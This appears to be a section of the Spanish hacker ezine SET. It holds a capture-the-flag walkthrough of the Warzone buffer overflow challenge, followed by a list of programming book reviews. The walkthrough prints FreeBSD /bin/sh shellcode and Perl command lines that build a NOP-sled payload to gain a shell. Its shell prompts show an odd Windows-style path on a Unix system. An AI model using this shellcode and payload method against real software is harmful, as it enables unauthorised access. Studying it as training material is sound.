SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Bazar de SET

      4403

Autor: Varios Autores
-[ 0x03 ]--------------------------------------------------------------------
-[ Bazar de SET ]------------------------------------------------------------
-[ by Others ]-------------------------------------------------------SET-36--

Indice

3x01  1er Reto Torneo Shell Warzone (BoF)       Hacking      blackngel

3x02  Biblioteca del Hacker 3.0                 Info         blackngel


-[ 3x01 ]--------------------------------------------------------------------
-[ 1er Reto Torneo Shell Warzone (BoF) ]-------------------------------------
-[ by blackngel ]------------------------------------------------------------


          ^^
      *`* @@ *`*     HACK THE WORLD
     *   *--*   *    
          ##         by blackngel <blackngel1@gmail.com>
          ||         
         *  *
        *    *       (C) Copyleft 2009 everybody
       _*    *_

[-----]

Seguidamente explicaremos la solucion al 1o reto planteado por los creadores
del "Torneo Shell" de la Warzone ubicada en "elhacker.net". La informacion que
encontrareis a continuacion se expone con un mero caracter educativo. Warzone,
sus creadores y el autor de este documento no se hacen responsables del uso o
abuso que se le pueda dar a la misma. ¡Disfruten del juego!

[-----]

***** El articulo ha sido ubicado en esta seccion debido a su simplicidad *****
***** No obstante siempre puede ser de provecho a aquellos que se inician *****
***** en las tareas de investigacion y explotacion de vulnerabilidades.   *****

Bienvenidos a la primera prueba del Torneo Shell que para nuestro disfrute han
preparado los creadores de Warzone. En esta ocasion nos enfrenteremos a un
tipica vulnerabilidad de software conocida por todos como "Buffer Overflow"
(desbordamiento de buffer).

En este documento solo abordaremos el caso particular que nos traemos entre
manos. Para mas informacion general sobre como explotar esta clase de bugs,
dirijase a las referencias que encontrara hacia el final.

Manos a la obra:

En primer lugar entraremos en el directorio de la prueba "/usr/home/BoF/" y
listaremos sus ficheros:

   C:/Users/NikiSanders/Desktop>ls -al
   total 38
   drwxr-x---   3 BoF   warzone    512 Dec  3 18:26 .
   drwxr-xr-x 320 root  wheel     7168 Dec 14 07:35 ..
   -rw-r--r--   1 BoF   warzone    751 Nov 21 13:45 .cshrc
   -rw-r--r--   1 BoF   warzone    248 Nov 21 13:45 .login
   -rw-r--r--   1 BoF   warzone    158 Nov 21 13:45 .login_conf
   -rw-r-----   1 BoF   warzone    373 Nov 21 13:45 .mail_aliases
   -rw-r--r--   1 BoF   warzone    331 Nov 21 13:45 .mailrc
   drwxr-x---   2 BoF   basico    1024 Dec 12 21:38 .pass
   -rw-r--r--   1 BoF   warzone    766 Nov 21 13:45 .profile
   -rw-r--r--   1 BoF   warzone    276 Nov 21 13:45 .rhosts
   -rw-r--r--   1 BoF   warzone    975 Nov 21 13:45 .shrc
   -rwxr-sr-x   1 BoF   basico    6271 Nov 28 13:01 BoF
   -rw-r--r--   1 root  warzone2  1765 Dec  3 18:26 TORNEO.txt
   C:/Users/NikiSanders/Desktop>

A tener en cuenta:

   - BoF -> Programa vulnerable.
   - .pass -> Directorio objetivo que contiene nuestro "hash".

Sabiendo entonces que no disponemos el codigo fuente. Lo normal sera ejecutar
el programa para ver como actua y si acepta parametros como entrada:

[-----]

   C:/Users/NikiSanders/Desktop>./BoF
   Mas facil no se puede xD
   Se esperaban Parametros!!
   Uso:
            ./BoF <algo>
   C:/Users/NikiSanders/Desktop>./BoF WARZONE
   Mas facil no se puede xD
   Usted paso como parametro lo siguiente:

   WARZONE

[-----]

Bien, empezamos con pasos firmes. Suponemos tras la segunda ejecucion que el
programa almacena nuestro parametro en algun buffer temporal para imprimirlo
posteriormente a la salida estandar.

He aqui el posible fallo. ¿Que ocurre si esta variable/buffer/array no esta
preparado para albergar tantos datos como los que nosotros somos capaces de
introducir? Exacto, se producira un desbordamiento.

Averiguar la longitud del buffer es algo trivial, se trata de ir introduciendo
un parametro cada vez mas largo hasta conseguir que el programa nos muestre un
"segmentation fault", indicativo de que algo malo ha ocurrido.

Normalmente los buffers suelen tener tamaños multiplos de "8", lo que quiere
decir que normalmente seran asi:

   - buffer[64];
   - buffer[128];
   - buffer[256];
   - buffer[512];
   - buffer[1024];
   - etc...

Es muy incomodo mantener una tecla pulsada hasta que se repite esta cantidad
de veces. Para facilitar nuestra tarea, ¡ "PERL" al rescate !. Con Perl podemos
imprimir tantos caracteres como deseemos sin apenas esfuerzo.

Para demostrar todo lo que hacabamos de decir, intentaremos producir un
desbordamiento de buffer introduciendo 1050 "A's" como parametro al programa
"./BoF". A partir de ahi jugaremos nuestras cartas.

[-----]

C:/Users/NikiSanders/Desktop>./BoF `perl -e 'print "A"x1050;'`
Mas facil no se puede xD
Usted paso como parametro lo siguiente:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
Segmentation fault
C:/Users/NikiSanders/Desktop>

[-----]

Estamos en el camino correcto. Ahora toca elaborar el exploit en si.

Si continuas jugando con el parametro te daras cuenta de que nos enfrentamos
a un buffer cuya capacidad es 1024 bytes, espacio mas que suficiente para
colocar el tipico pastel, me refiero a:

                  [NOPS (0x90)] [SHELLCODE] [RET (%esp)]

Dado que el bug tiene toda la pinta de no estar complicando las cosas por
detras, intentaremos explotarlo directamente desde la linea de comandos sin
tener que programar un exploit en lenguaje C.

Entonces listaremos que elementos necesitamos:

   - Perl (linea de comandos).
   - Una "shellcode" (para FreeBSD).
   - Una direccion de retorno (%esp).

Perl ya lo tenemos en el sistema. Conseguir una Shellcode para FreeBSD es
cuestion de segundos si sabes buscar en Google. Quizas en un documento aparte
explique como programarte una tu mismo (es una buena experiencia).

Muestro aqui la "shellcode" que utilizaremos nosotros. Es bastante pequeña:

[-----]

   char code[] =
            "\x31\xc0"                         /*   xor %eax,%eax */
            "\x50"                             /*   push %eax */
            "\x68\x2f\x2f\x73\x68"             /*   push $0x68732f2f (//sh) */
            "\x68\x2f\x62\x69\x6e"             /*   push $0x6e69622f (/bin)*/
            "\x89\xe3"                         /*   mov %esp,%ebx */
            "\x50"                             /*   push %eax */
            "\x54"                             /*   push %esp */
            "\x53"                             /*   push %ebx */
            "\x50"                             /*   push %eax */
            "\xb0\x3b"                         /*   mov $0x3b,%al */
            "\xcd\x80";                        /*   int $0x80 */

[-----]

Pero como ya dijimos, vamos a trabajar desde la linea de comandos, entonces
necesitamos un lugar donde almacenarla para luego hacer uso de ella.

La volcaremos a un archivo en nuestro directorio personal:

[-----]

   $ perl -e 'print
   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
   x54\x53\x50\xb0\x3b\xcd\x80";' > ../NikiSanders/sc

[-----]

Con este juguete preparado, ahora solo nos queda obtener una direccion de
retorno valida. Para ello escribiremos un pequeño programa:

[-----]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

u_long getsp(){
     __asm__("movl %esp, %eax");
}

int main(){
     u_long esp;
     esp = getsp();
     printf ("ESP = 0x%x\n", esp);
     return 0;
}

[-----]

Lo compilamos con "gcc getsp.c -o getsp". Y al ejecutarlo deberiamos obtener
lo siguiente:

   C:/Users/NikiSanders/Desktop>../NikiSanders/getsp
   ESP = 0xbfbfec58
   C:/Users/NikiSanders/Desktop>

Debes ser consciente que esta direccion puede no ser la misma para ti.
Depende del numero de procesos que se esten ejecutado en ese momento
y de muchos otros factores. Lo importante es aprender el metodo.

Y hasta aqui solo nos queda construir nuestro paquete BOMBA para cederselo
como parametro al programa vulnerable. Intentemoslo:

[-----]

C:/Users/NikiSanders/Desktop>./BoF `perl -e 'print "\x90"x1024';`
`cat ../NikiSanders/sc``perl -e 'print "\x58\xec\xbf\xbf"';`
Mas facil no se puede xD
Usted paso como parametro lo siguiente:

������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
�����������^�1��F�F�����V  ̀1ۉ�@̀�����/bin/shX쿿
Segmentation fault
C:/Users/NikiSanders/Desktop>

[-----]

Bueno, no todo es color de rosa. Esto es muy instructivo para aprender unas
cuantas cosas:

Fijate que normalmente un parametro de exploit corriente suele repetir varias
veces su direccion de retorno, lo que ofrece mas posibilidades de acertar en
la alineacion cuando se intenta sobreescribir el registro "%eip". Nosotros
solo la escribimos una vez (somos asi de retorcidos) y la alineacion debe de
coincidir de manera exacta. Esto lo hago para que se vea que se puede explotar
manualmente y de forma milimetrica sin tener que recurrir a la suerte o
coincidencia.

Por otro lado hay que tener en cuenta el tamaño de los elementos que estamos
introduciendo. En nuestro caso posiblemente lo que haya ocurrido sea esto:

               [NOPS-NOPS-NOPS-NOPS] [     SHELLCODE     ] [RET]
               [BUFER DE 1024 BYTES] [%EBP] [%EIP] [ARGS]

Observamos que nos hemos pasado de largo. La direccion de retorno debe caer
exactamente en la posicion del registro "%eip" si queremos lograr nuestro
objetivo. La solucion pasa por decrementar paulatinamente el numero de
instrucciones NOP (0x90) hasta conseguir una ejecucion exitosa.

Sin necesidad de rezar llegara el momento en que caigamos en el lugar exacto:

[-----]

C:/Users/NikiSanders/Desktop>./BoF `perl -e 'print "\x90"x1013';`
`cat ../NikiSanders/sc``perl -e 'print "\x58\xec\xbf\xbf"';`
Mas facil no se puede xD
Usted paso como parametro lo siguiente:

������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
�����������^�1��F�F�����V  ̀1ۉ�@̀�����/bin/shX쿿
$ id
uid=7027(NikiSanders) gid=6001(warusers) egid=6000(basico) groups=6000(basico)
6001(warusers),5000(warzone), 5001(warzone1),5002(warzone2),5003(warzone3)
$

[-----]

Ya puedes saltar de alegria, solo te resta acceder al directorio ".pass" y leer
tu archivo correspondiente (".leeme_UID", en mi caso ".leeme_7027") y obtener
el HASH que debes introducir en la aplicacion "/usr/home/warzone/validar" para
pasar la prueba.

Referencias:

[1] "Smashing the Stack for Fun and Profit" by Aleph One
    http://doc.bughunter.net/buffer-overflow/smash-stack.html
[2] Desbordamiento de bufer
    http://es.wikipedia.org/wiki/Desbordamiento_de_b%C3%BAfer
[3] Introduccion a los Overflows en Linux X86_64
    http://www.enye-sec.org/textos/introduccion.a.los.overflows.en.linux.x86_
    64.txt


Por lo demas WARZONE te esta esperando! };-D

*EOF*

-[ 3x02 ]--------------------------------------------------------------------
-[ Biblioteca del Hacker 3.0 ]-----------------------------------------------
-[ by blackngel ]------------------------------------------------------------

     dMP     .aMMMb
    dMP     dMP  MP   
   dMP     dMMMMMP
  dMP     dMP dMP     
 dMMMMMP dMP dMP


     dMMMMb  MM. dMMMMb  MM.     MM. .aMMMb dMMMMMMMP dMMMMP .aMMMb  .aMMMb
    dMP  MP dMP dMP  MP dMP     dMP dMP dMP   dMP    dMP    dMP"VMP dMP  MP
   dMMMMK" dMP dMMMMK" dMP     dMP dMP dMP   dMP    dMMMP  dMP     dMMMMMP
  dMP  MF dMP dMP  MF dMP     dMP dMP aMP   dMP    dMP    dMP.aMP dMP dMP
 dMMMMP" dMP dMMMMP" dMMMMMP dMM  VMMMP"   dMP    dMMMMMP VMMMP" dMP dMP
                                                                              
                                                                              
                                  [ La Biblioteca del Hacker 3.0 ]



En la historia de SET, dos Bibliotecas del Hacker han sido publicadas,
hablando solo la primera de ellas sobre temas referentes realmente al hacking.

Los tiempos han cambiado, y el material con el que contamos tambien, y aunque
en algunas publicaciones la calidad ha bajado, no ocurre asi con todas. Y ya
que poseo una buena cantidad de libros de referencia con los que he aprendido
bastante a lo largo de estos años, me permito aqui el lujo de dar una breve
descripcion de cada uno de ellos.

Aquellos que por su contenido no me han resultado muy utilies, los obviare aqui,
ya que solo son dignos de nombrar aquellos que pueden hacerte evolucionar en el
mundo de la programacion y la seguridad informatica.

INDICE:

   - Hacking Etico (Gray Hat Hacking)
   - Programacion en Microsoft C para IBM PC y Compatibles
   - Programacion en GNU/Linux
   - Programacion en Linux: Casos Practicos
   - Herramientas de Programacion para el Shell de Unix
   - Programacion Avanzada en Unix (3ª EDICION AMPLIADA)
   - Linux. Guia para Administradores de Redes.
   - Ensamblador para DOS, Linux y Windows.


 **-----------------------------------------------------------------------**

Hacking Etico
-------------

Editorial: Anaya Multimedia
ISBN: 84-415-1874-2
Nº Paginas: 544


Este libro es la traduccion al castellano de la publicacion Gray Hat Hacking,
obra de: Shon Harris, Allen Harper, Jonathan Ness, Mischael Lester y Chris
Eagle. Este ultimo suele frecuentar las reuniones de DEFCON y pasa su tiempo
jugando a Capture the Flag.

Gracias a todos estos expertos en seguridad informatica, puedo decir, y digo,
que es uno lo de los mejores libros que ha pasado por mis manos. Es la
combinacion perfecta de temas que pueden conseguir iniciarle a uno en la
subcultura hacker, al tiempo que no se anda con bromas y explica temas como
la explotacion de heap overflows, format strings, desensamblados con IDA y
un largo etc...

Entre sus primeras secciones se explica fielmente cual es la etica real de un
hacker, como formar un equipo y liderarlo, cuales son las leyes a las que uno
debe atenerse y el porque de todo lo que esta por venir.

A continuacion sigue con la diferencia entre analisis de vulnerabilidades y
las pruebas de penetracion para adentrarte en poco tiempo a herramientas de
reconocimiento valiosisimas y que no son tan mencionadas como tal vez lo es
nmap. Ellas son: amap, scanrand, paratrace, p0f, y muchas mas...

En resumen, toda seccion que leas te incita a ir mas alla y continuar estudiando
por tu cuenta.


Programacion en Microsoft C para IBM PC y Compatibles
-----------------------------------------------------

Editorial: Anaya Multimedia
ISBN: 84-7614-240-4
Nº Paginas: 832
Año: 1990


Muy facil. El primer libro con el que aprendi mi primer lenguaje de programacion.
Voy a ser sincero, ya que llevo con este secreto guardado desde que comence con
todo esto ;).

Yo era un amante de la informatica pero todavia no habia descubierto el mundo
de la programacion aunque lo de la seguridad informatica ya estaba empezando a
llamar a mi puerta. Por aquel entonces yo tendria unos 12 años a lo sumo... 

Fue entonces que un dia en la biblioteca (una de verdad), haciendo un trabajo
con unos amigos (ellos lo hacian y yo miraba), me dio por pasear entre los
anaqueles repletos de libros llenos de polvo. Las estrellas deberion desear
aquel dia que yo metiese mi mano entre dos enormes volumenes de una enciclopedia.
Y fue en ese momento que encontre ese libro de Programacion en C. Comence a
echarle una ojeada, y me parecio fascinante (-Ah! Que flipe! Pero asi es como se
hacen de verdad los programas?), resulta que los programas no salian de la nada,
alguien tenia que saber mas que los demas para proporcionarnos esas cosas con
botones y ventanas.

Y yo tambien queria ser ese alguien. Fue tan asi que (aunque me vengan despues
de tantos años a detener ;)), me lo lleve prestado por el tiempo que correspondia,
pero jamas lo lleve de vuelta. Me acuerdo que me puse tan a fondo con el, que
cuando no terminaba de comprender de todo la teoria sobre "punteros", le pedi a
mi madre que me llevara a una academia.

Y, en resumen, de ahi a la seguridad informatica, y todo lo demas... buenos
recuerdos :)

En realidad este libro no requiere de mucha explicacion, su numero de paginas
lo dice casi todo. Se trata de una referencia completa del lenguaje C bajo
sistemas Microsoft. Comienza desde cero adelantando temas sobre compilacion,
linkado y estructuracion de los fuentes.

Los temas mas avanzados enseñana a manejar la ROM BIOS y las funciones
graficas a bajo nivel (a nivel de pixel). Enseña algoritmos de ordenacion
como el de la burbuja y en el tema de graficos de atrave con los "fractales
de MandelBrot".

Le debo mucho a ese libro, y por cierto, nunca lo devolvere };-D


Programacion en GNU/Linux
-------------------------

Editorial: Anaya Multimedia
ISBN: 84-415-1544-1
Nº Paginas: 720


De la mano de Francisco Charte Ojeda, desde luego, una excelente adquisicion
si ademas de una migracion de sistemas Microsoft a Linux incluye tambien un
interes por el desarrollo de software.

Entonces este es tu libro. Comienza explicando los lenguajes que estan a tu
disposicion de primera mano. Luego sigue con las herramientas mas comunes de
trabajo, como editores, compiladores, depuradores y un largo etc... En esta
parte se detiene especialmente en unas explicaciones basicas sobre VI y EMACS.

Despues de una presentacion de los IDE mas habituales, las secciones centrales
tratan basicamente sobre una referencia a la creacion de scripts para el Shell,
una referencia completa de C/C++ (incluyendo sockets, procesos e hilos) y
servicios de proposito general.

Luego nos encontramos con temas sobre interfaces basadas en texto, como NCURSES
y otras vasadas en graficos como SVGA, SDL, QT, GTK+ y otras.

La ultima parte nos adentra en otros lenguajes como Java, el mismismo
Ensamblador y algo sobre programacion WEB con GGI's en varios lenguajes
y una breve introduccion a PHP.

Sinceramente, puedes pasarte mucho tiempo con este libro en tu mano y no dejar
de aprender. Siempre encuentras algo nuevo: que si una ayudita con "make", que
si CVS, que si GDB, etc...

Es uno de los pocos libros que se salvan de mi denominacion: Libros Mantis
Religiosa. Que para mi son aquellos que te seducen con un tremendo INDICE
de temas y en cuanto lo acabas de leer (si tienes la paciencia de acabarlo)
te matan porque no te han explicado nada en cada uno de ellos.


Programacion en Linux: Casos Practicos
--------------------------------------

Editorial: Anaya Multimedia
ISBN: 84-415-1839-4
Nº Paginas: 672


Aunque publicados por distintos autores, este por Arnold Robbins, a mi me
parecio desde el primer momento la mejor continuacion para el libro que
acabamos de describir hace un momento.

Esa si es una referencia cuasi completa del Lenguaje C, pero no es un libro
de aprendizaje desde cero, sino que trata todos los temas que puedes
encontrarte en sus desarrollos personalaes o profreciones como: manejo de
argumentos y entorno, administracion de memoria, sistemas de ficheros, señales,
permisos e interfaces de biblioteca general, al mismo tiempo que va incluyendo
y explicando ejemplos reales de programas extraidos de Unix V7. Algunos tan
comunes como "cat", "ls" y muchos mas...

Personalmente, y aunque en el libro no se menciona de forma directa, yo creo y
estoy seguro de que ha sido orientado hacia la seguridad informatica, dado que
en muchos lugares se previene del uso de funciones peligrosas como aquellas que
provocan desbordamientos de buffer, condiciones de carrera y tambien te incita
a un estilo de programacion correcto, responsable y standard.

Arnold Robbins mantiene el proyecto GAWK, asi que no es poca cosa lo que se
nos ofrece. En particular, yo sigo llevandolo muchos dias al trabajo, en mis
ratos libres me ayuda a conseguir buenas costumbres.


Herramientas de Programacion para el Shell de Unix
--------------------------------------------------

Editorial: McGraw Hill
ISBN: 970-10-3024-9
Nº Paginas: 570

Ademas de una repaso breve al funcionamiento de todos los comandos basicos
disponibles en Unix, la mitad del libro se encarga de una explicacion
medianamente profunda sobre la creacion de guiones(scripts) para el Shell
de Unix.

Es el libro perfecto si quieres comenzar a realizar tareas administrativas
en tu sistema en pocos pasos, ya que si prestas un poco de atencion y aplicas
los ejemplos a tus necesidades, puedes automatizar la mayoria de las tareas.

La siguiente parte mas importante es una referencia al lenguaje PERL, otra
a TCL, y un capitulo fantastico sobre expresiones regulares tanto en BASH,
como en PERL, como en TCL.

El libro me encanta, aunque personalmente hubiera dejado de lado el lenguaje
TCL (nunca me he centrado en el) y hubiera extendido aun mas el tema de PERL.

Cabe decir que su autor, David Medinets, es tambien el autor del libro de
referencia "Perl 5 By Example".

Tambien es uno de los libros que suelo tener mas cerca de mi.


Programacion Avanzada en Unix (3ª EDICION AMPLIADA)
---------------------------------------------------

Editorial: RA-MA
ISBN: 84-7897-603-5
Nº Paginas: 602

De la mano de Francisco M. Marquez, este libro se centra directamente en
tres partes muy importantes de los sistemas Unix: Sistema de Ficheros,
Procesos e Hilos, y Comunicacion entre Procesos (que abarca tambien todo
el tema de Sockets).

Sinceramente, me hice con el por dos motivos basicos. El primero es que
es compatible con sistemas Linux, FreeBSD, System V, y aquellos que se
rijan por POSIX.

La segunda es que si te interesa alguno de los temas que trata, puedes
aprender a crear software robusto, con un fantastico manejo de errores y
a conocer de una forma mas profunda tu sistema operativo.

Quizas no le he dado el uso que merece, pero tengo en mi agenda apuntada
una lectura y revision completa, asi que espero que no se enfade conmigo :)


Linux. Guia para Administradores de Redes
-----------------------------------------

Editorial: Anaya Multimedia "O'Reilly"
ISBN: 84-415-1868-8
Nº Paginas: 416

Sencillamente fantastico. Por que?

La razon es que este libro es fruto de una idea que trataba sobre llevar
al papel la "Guia de Redes" perteneciente al Proyecto de Documentacion de
Linux. Guia que comenzo con los trabajos de Olaf Kirche.

El libro es una revision actualizada y con nuevos temas añadidos con la
autoria de Tony Bautts, Terry Dawson y Gregor N. Purdy.

Los temas van pasando por una introducion a las redes, su configuracion,
explicacion sobre PPP y TCP/IP, administracion de servicios de red,
configuracion de un Cortafuegos, auditorias IP, redes sobre IPv6, Sendmail,
IMAP, Samaba y muchas cosas mas...

Todo ello con ejemplos practicos y explicaciones sobre los archivos de
configuracion. 

A veces los temas no comienzan desde lo mas basico pero, por suerte para mi,
se encuentra en un punto de equilibrio bastante bueno que te permite una
administracion seria y avanzada.


Ensamblador para DOS, Linux y Windows
-------------------------------------

Editorial: Anaya Multimedia
ISBN: 84-415-1482-8
Nº Paginas: 688


No puedo decir mucho de este libro, ya que es mi adquisicion mas reciente.
No obstante tengo que incluirlo aqui porque deja ver desde un primer momento
que se basa en su totalidad en ejemplos practicos, lo que dice mucho de el.

Los temas mas interesantes, aparte de la referencia basica completa al
lenguaje ensamblador, son los temas sobre acceso a servicios de video,
teclado, programas residentes, interrupciones, memoria extendia y expandida
, y sin olvidar los servicios de Windows y Linux, ya que practicamente en
todo el libro se trabaja sobre DOS.

Tambien se incia un poco en las diferentes sintaxis, como Masm y Tasm (este
ultimo se utiliza basicamente a lo largo de todo el libro), y se introducen
conceptos de depuracion.

Aunque no lo crean, seria el primer libro que pondria a lado de otro que
hablara sobre la creacion de Sistemas Operativos.


 **-----------------------------------------------------------------------**

Mi biblioteca es bastante mas amplia, pero como dije, aqui solo iva a nombrar
los que requieren una especial atencion y que realmente me han aportado algo
bueno.

Aunque lo he pensado, he decidido finalmente no meter un apartado de "El Malo",
ya que como para gustos hay colores, el hecho de que un libro me haya parecido
penoso, no quiere decir que sea asi para otra persona. Ademas, hay algo que
siempre reconozco, y es el esfuerzo del autor a la hora de desarrollar su
trabajo.

La pena quizas sea que las editoriales te obliguen realmente a crear esos
libros "Mantis Religiosa" con tantos y tantos contenidos que al final solo
queda espacio para dos palabras en cada uno de ellos, y te quedas como antes
de empezar, o peor porque te has gastado el dinero.

Espero que esto os haya sido util para tomar alguna decision.

Un abrazo!
blackngel

*EOF*